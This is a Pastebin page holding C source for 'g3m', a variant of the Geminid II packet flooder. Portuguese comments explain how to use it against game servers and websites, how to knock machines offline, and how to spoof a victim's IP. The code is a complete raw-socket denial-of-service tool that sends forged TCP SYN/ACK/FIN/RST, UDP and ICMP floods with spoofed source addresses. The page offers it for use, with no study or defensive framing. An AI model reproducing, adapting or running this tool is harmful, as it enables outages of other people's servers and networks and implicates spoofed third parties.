Advertisement
MRC

g3m.c

MRC
Aug 6th, 2012
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 14.78 KB | None | 0 0
  1. /*
  2.  *   Como compilar:
  3.  *      Mais Usado:
  4.  *      % gcc g3m.c -o g3m
  5.  *
  6.  *      Com opção de arquivo de senhas:
  7.  *      % gcc -DF_PASS geminid.c -o geminid
  8.  *    
  9.  *    
  10.  *   Como utilizar para atacar um servidor de samp:
  11.  *   ./g3m -h ip -I -U -T 3 ou ./g3m -h ip -I -U -T 3 -p porta,porta
  12.  *  
  13.  *  
  14.  *  Como utilizar para atacar um site:
  15.  *    ./g3m -h ip -T 3 -p 80,80
  16.  *    
  17.  *    
  18.  *   Como utilizar para derrubar uma máquina:
  19.  *    ./g3m -h ip -I -U -T 3
  20.  *    
  21.  *    
  22.  *   Como utilizar para atacar por um ip fake:
  23.  *    ./g3m -h ip-atacar -I -U -T 3 -s ip-atacado
  24.  *
  25.  *  
  26.  *  
  27.  */
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <unistd.h>
  32. #include <netdb.h>
  33. #include <sys/types.h>
  34.  
  35. #ifdef F_PASS
  36. #include <sys/stat.h>
  37. #endif
  38.  
  39. #include <netinet/in_systm.h>                                                    
  40. #include <sys/socket.h>
  41. #include <string.h>
  42. #include <time.h>
  43.  
  44. #ifndef __USE_BSD
  45. #   define __USE_BSD
  46. #endif
  47.  
  48. #ifndef __FAVOR_BSD
  49. #   define __FAVOR_BSD
  50. #endif
  51.  
  52. #include <netinet/in.h>
  53. #include <netinet/ip.h>
  54. #include <netinet/tcp.h>
  55. #include <netinet/udp.h>
  56. #include <netinet/ip_icmp.h>
  57. #include <arpa/inet.h>
  58.  
  59.  
  60. #ifdef LINUX
  61. #   define FIX(x)  htons(x)
  62. #else
  63. #   define FIX(x)  (x)
  64. #endif
  65.  
  66.  
  67. /* Geminid attack flags */
  68. #define TCP_ACK         1
  69. #define TCP_FIN         2
  70. #define TCP_SYN         4
  71. #define TCP_RST         8
  72. #define UDP_CFF        16
  73. #define ICMP_ECHO_G    32
  74. #define TCP_NOF        64 /* -N */
  75.  
  76. /* No flag attack */
  77. #define TH_NOF         0x0
  78.  
  79. #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
  80.                          a_flags & TCP_FIN ||\
  81.                          a_flags & TCP_SYN ||\
  82.                          a_flags & TCP_RST ||\
  83.                          a_flags & TCP_NOF)
  84.  
  85.  
  86. #define UDP_ATTACK()    (a_flags & UDP_CFF)
  87. #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
  88.  
  89.  
  90. #define CHOOSE_DST_PORT() dst_sp == 0 ?\
  91.                           random ()   :\
  92.                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
  93.  
  94.  
  95. #define CHOOSE_SRC_PORT() src_sp == 0 ?\
  96.                           random ()   :\
  97.                           htons(src_sp + (random() % (src_ep -src_sp +1)));
  98.  
  99.  
  100. #define SEND_PACKET()   if (sendto(rawsock,\
  101.                                    &packet,\
  102.                                    (sizeof packet),\
  103.                                    0,\
  104.                                    (struct sockaddr *)&target,\
  105.                                     sizeof target) < 0) {\
  106.                                         perror("sendto");\
  107.                                         exit(-1);\
  108.                         }
  109.  
  110.  
  111.  
  112. /* Linux / SunOS x86 / FreeBSD */
  113. //#define BANNER_CKSUM 54018
  114.  
  115. /* SunOS Sparc */
  116. #define BANNER_CKSUM 723
  117.  
  118.  
  119. u_long lookup(const char *host);
  120. unsigned short in_cksum(unsigned short *addr, int len);                          
  121. static void inject_iphdr(struct ip *ip, u_char p, u_char len);
  122. char *class2ip(const char *class);
  123. static void send_tcp(u_char th_flags);
  124. static void send_udp(u_char garbage);
  125. static void send_icmp(u_char garbage);
  126. char *get_plain(const char *crypt_file, const char *xor_data_key);
  127. static void usage(const char *argv0);
  128.  
  129.  
  130. u_long dstaddr;
  131. u_short dst_sp, dst_ep, src_sp, src_ep;
  132. char *src_class, *dst_class;
  133. int a_flags, rawsock;
  134. struct sockaddr_in target;
  135.  
  136. /* Self promotion :) */
  137. const char *banner = "Geminid II.  [TCP/UDP/ICMP Packet flooder]";
  138.  
  139. struct pseudo_hdr {         /* See RFC 793 Pseudo Header */
  140.     u_long saddr, daddr;    /* source and dest address   */
  141.     u_char mbz, ptcl;       /* zero and protocol         */
  142.     u_short tcpl;           /* tcp length                */
  143. };
  144.  
  145. struct cksum {
  146.     struct pseudo_hdr pseudo;
  147.     struct tcphdr tcp;
  148. };
  149.  
  150.  
  151. struct {
  152.     int gv; /* Geminid value */
  153.     int kv; /* Kernel value */
  154.     void (*f)(u_char);
  155. } a_list[] = {
  156.  
  157.         /* TCP */
  158.     { TCP_ACK, TH_ACK, send_tcp },
  159.     { TCP_FIN, TH_FIN, send_tcp },
  160.     { TCP_SYN, TH_SYN, send_tcp },
  161.     { TCP_RST, TH_RST, send_tcp },
  162.     { TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */
  163.  
  164.         /* UDP */
  165.     { UDP_CFF, 0, send_udp },  
  166.  
  167.         /* ICMP */
  168.     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
  169.     { 0, 0, (void *)NULL },
  170. };
  171.  
  172.  
  173. int
  174. main(int argc, char *argv[])
  175. {
  176.     int n, i, on = 1;
  177.     int b_link;
  178. #ifdef F_PASS
  179.     struct stat sb;
  180. #endif
  181.     unsigned int until;
  182.  
  183.  
  184.     a_flags = dstaddr = i = 0;
  185.     dst_sp = dst_ep = src_sp = src_ep = 0;
  186.     until = b_link = -1;
  187.     src_class = dst_class = NULL;
  188.     while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
  189.         char *p;
  190.  
  191.         switch (n) {
  192.             case 'T': /* TCP attack  
  193.                        *
  194.                        * 0: ACK
  195.                        * 1: FIN
  196.                        * 2: RST
  197.                        * 3: SYN
  198.                        */
  199.  
  200.                 switch (atoi(optarg)) {
  201.                     case 0: a_flags |= TCP_ACK; break;
  202.                     case 1: a_flags |= TCP_FIN; break;
  203.                     case 2: a_flags |= TCP_RST; break;
  204.                     case 3: a_flags |= TCP_SYN; break;
  205.                 }
  206.                 break;
  207.  
  208.             case 'U': /* UDP attack
  209.                        */
  210.                 a_flags |= UDP_CFF;
  211.                 break;
  212.  
  213.             case 'I': /* ICMP attack
  214.                        */
  215.                 a_flags |= ICMP_ECHO_G;
  216.                 break;
  217.  
  218.             case 'N': /* Bogus No flag attack (TCP)
  219.                        */
  220.                 a_flags |= TCP_NOF;
  221.                 break;
  222.  
  223.             case 's':
  224.                 src_class = optarg;
  225.                 break;
  226.  
  227.             case 'h':
  228.                 dstaddr = lookup(optarg);    
  229.                 break;
  230.  
  231.             case 'd':
  232.                 dst_class = optarg;
  233.                 i = 1; /* neat flag to check command line later */
  234.                 break;
  235.  
  236.             case 'p':
  237.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  238.                     usage(argv[0]);
  239.                 dst_sp = atoi(optarg); /* Destination start port */
  240.                 dst_ep = atoi(p +1);   /* Destination end port */
  241.                 break;
  242.  
  243.             case 'q':
  244.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  245.                     usage(argv[0]);
  246.                 src_sp = atoi(optarg); /* Source start port */
  247.                 src_ep = atoi(p +1);   /* Source end port */
  248.                 break;
  249.  
  250.             case 'l':
  251.                 b_link = atoi(optarg);
  252.                 if (b_link <= 0 || b_link > 100)
  253.                     usage(argv[0]);
  254.                 break;
  255.  
  256.             case 't':
  257.                 until = time(0) +atoi(optarg);
  258.                 break;
  259.  
  260.             default:
  261.                 usage(argv[0]);
  262.                 break;
  263.         }
  264.     }
  265.  
  266.     /* Checking command line */
  267.     if ( (!dstaddr && !i) ||  
  268.          (dstaddr && i) ||
  269.          (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
  270.          (src_sp != 0 && src_sp > src_ep) ||
  271.          (dst_sp != 0 && dst_sp > dst_ep))
  272.             usage(argv[0]);
  273.  
  274.     srandom(time(NULL) ^ getpid());
  275.  
  276.     /* Opening RAW socket */
  277.     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  278.         perror("socket");
  279.         exit(-1);
  280.     }
  281.  
  282.     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
  283.         (char *)&on, sizeof(on)) < 0) {
  284.             perror("setsockopt");
  285.             exit(-1);
  286.     }
  287.  
  288.     /* Filling target structure */
  289.     target.sin_family           = AF_INET;
  290.  
  291.     /* Packeting! */
  292.     for (n = 0; ; ) {
  293.  
  294.         /* Poor link control handling */
  295.         if (b_link != -1 && random() % 100 +1 > b_link) {
  296.             if (random() % 200 +1 > 199)
  297.                 usleep(1);
  298.             continue;
  299.         }
  300.  
  301.         /* Sending requested packets */
  302.         for (i = 0; a_list[i].f != NULL; ++i) {
  303.             if (a_list[i].gv & a_flags)
  304.                 a_list[i].f(a_list[i].kv);
  305.         }          
  306.  
  307.         /* Attack is finished? Do not check it every time, would eat
  308.          * too much CPU */
  309.         if (n++ == 100) {
  310.             if (until != -1 && time(0) >= until) break;
  311.             n = 0;
  312.         }
  313.     }
  314.                  
  315.     exit(0);
  316. }
  317.  
  318.  
  319. u_long
  320. lookup(const char *host)
  321. {
  322.     struct hostent *hp;
  323.  
  324.     if ( (hp = gethostbyname(host)) == NULL) {
  325.         perror("gethostbyname");
  326.         exit(-1);
  327.     }
  328.  
  329.     return *(u_long *)hp->h_addr;
  330. }
  331.  
  332.  
  333. #define RANDOM() (int) random() % 255 +1
  334.  
  335. char *
  336. class2ip(const char *class)
  337. {
  338.     static char ip[16];
  339.     int i, j;
  340.  
  341.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  342.         if (class[i] == '.')
  343.             ++j;
  344.  
  345.     switch (j) {
  346.         case 0:
  347.             sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
  348.             break;
  349.         case 1:
  350.             sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
  351.             break;
  352.         case 2:
  353.             sprintf(ip, "%s.%d", class, RANDOM());
  354.             break;
  355.  
  356.         /* Spoofing single host */
  357.         default: strncpy(ip, class, 16);
  358.                  break;
  359.     }
  360.     return ip;
  361. }
  362.  
  363.  
  364. unsigned short
  365. in_cksum(unsigned short *addr, int len)
  366. {
  367.     int nleft = len;
  368.     int sum = 0;
  369.     unsigned short *w = addr;
  370.     unsigned short answer = 0;
  371.  
  372.     /*
  373.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  374.      * sequential 16 bit words to it, and at the end, fold back all the
  375.      * carry bits from the top 16 bits into the lower 16 bits.
  376.      */
  377.     while (nleft > 1) {
  378.         sum += *w++;
  379.         nleft -= 2;
  380.     }
  381.  
  382.     /*
  383.      * Mop up an odd byte, if necessary
  384.      */
  385.     if (nleft == 1) {
  386.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  387.         sum += answer;
  388.     }
  389.  
  390.     /*
  391.      * Add back carry outs from top 16 bits to low 16 bits
  392.      */
  393.     sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
  394.     sum   += (sum >> 16);                   /* add carry           */
  395.     answer = ~sum;                          /* truncate to 16 bits */
  396.  
  397.     return answer;
  398. }
  399.  
  400.  
  401. /*
  402.  * Creating generic ip header, not yet ready to be used.
  403.  */
  404. static void
  405. inject_iphdr(struct ip *ip, u_char p, u_char len)
  406. {
  407.  
  408.  
  409.     /* Filling IP header */
  410.     ip->ip_hl             = 5;
  411.     ip->ip_v              = 4;
  412.     ip->ip_p              = p;
  413.     ip->ip_tos            = 0x08; /* 0x08 */
  414.     ip->ip_id             = random();
  415.     ip->ip_len            = len;
  416.     ip->ip_off            = 0;
  417.     ip->ip_ttl            = 255;
  418.  
  419.     ip->ip_dst.s_addr     = dst_class != NULL ?
  420.                             inet_addr(class2ip(dst_class)) :
  421.                             dstaddr;
  422.  
  423.     ip->ip_src.s_addr     = src_class != NULL ?  
  424.                             inet_addr(class2ip(src_class)) :  
  425.                             random();
  426.  
  427.     /* I know, this is not part of the game, but anyway.. */
  428.     target.sin_addr.s_addr = ip->ip_dst.s_addr;
  429. }    
  430.  
  431.  
  432. static void
  433. send_tcp(u_char th_flags)
  434. {
  435.     struct cksum cksum;
  436.     struct packet {
  437.         struct ip ip;
  438.         struct tcphdr tcp;
  439.     } packet;
  440.  
  441.  
  442.     /* Filling IP header */
  443.     memset(&packet, 0, sizeof packet);
  444.     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  445.     packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);
  446.  
  447.     /* Filling cksum pseudo header */
  448.     cksum.pseudo.daddr      = dstaddr;
  449.     cksum.pseudo.mbz        = 0;
  450.     cksum.pseudo.ptcl       = IPPROTO_TCP;
  451.     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
  452.     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
  453.  
  454.     /* Filling TCP header */
  455.     packet.tcp.th_flags     = 0;
  456.     packet.tcp.th_win       = htons(65535);
  457.     packet.tcp.th_seq       = random();
  458.     packet.tcp.th_ack       = 0;
  459.     packet.tcp.th_flags     = th_flags;
  460.     packet.tcp.th_off       = 5;  
  461.     packet.tcp.th_urp       = 0;
  462.     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
  463.     packet.tcp.th_dport     = CHOOSE_DST_PORT();
  464.     cksum.tcp               = packet.tcp;
  465.     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
  466.     SEND_PACKET();
  467. }
  468.  
  469.  
  470. static void
  471. send_udp(u_char garbage) /* No use for garbage here, just to remain */
  472. {                        /* coherent with a_list[]                  */
  473.     struct packet {
  474.         struct ip ip;
  475.         struct udphdr udp;
  476.     } packet;
  477.  
  478.  
  479.     /* Filling IP header */
  480.     memset(&packet, 0, sizeof packet);
  481.     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  482.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  483.  
  484.     /* Filling UDP header */
  485.     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
  486.     packet.udp.uh_dport         = CHOOSE_DST_PORT();
  487.     packet.udp.uh_ulen          = htons(sizeof packet.udp);
  488.     packet.udp.uh_sum           = 0; /* No checksum */
  489.     SEND_PACKET();
  490. }
  491.  
  492.  
  493. static void
  494. send_icmp(u_char gargabe) /* Garbage discarded again.. */
  495. {
  496.     struct packet {
  497.         struct ip ip;
  498.         struct icmp icmp;
  499.     } packet;
  500.  
  501.  
  502.     /* Filling IP header */
  503.     memset(&packet, 0, sizeof packet);
  504.     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  505.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  506.  
  507.     /* Filling ICMP header */
  508.     packet.icmp.icmp_type       = ICMP_ECHO;
  509.     packet.icmp.icmp_code       = 0;
  510.     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  511.     SEND_PACKET();
  512. }
  513.  
  514.  
  515. static void
  516. usage(const char *argv0)
  517. {
  518.     printf("%s \n", banner);
  519.     printf("Usage: %s [-T -U -I -N -s -h -d -p -q -l -t]\n\n", argv0);
  520.  
  521. printf("REGISTERED TO: seilaqm..\n\n");
  522.  
  523. printf("    -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN]   (no default         )\n");
  524. printf("    -U UDP attack                                (no options         )\n");
  525. printf("    -I ICMP attack                               (no options         )\n");
  526. printf("    -N Bogus No flag attack                      (no options         )\n");
  527. printf("    -s source class/ip                           (defaults to random )\n");
  528. printf("    -h destination host/ip                       (no default         )\n");
  529. printf("    -d destination class                         (no default         )\n");
  530. printf("    -p destination port range [start,end]        (defaults to random )\n");
  531. printf("    -q source port range [start,end]             (defaults to random )\n");
  532. printf("    -l %% of box link to use                      (defaults to 100%%   )\n");
  533. printf("    -t timeout                                   (defaults to forever)\n");
  534.  
  535.  
  536.     exit(-1);
  537. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement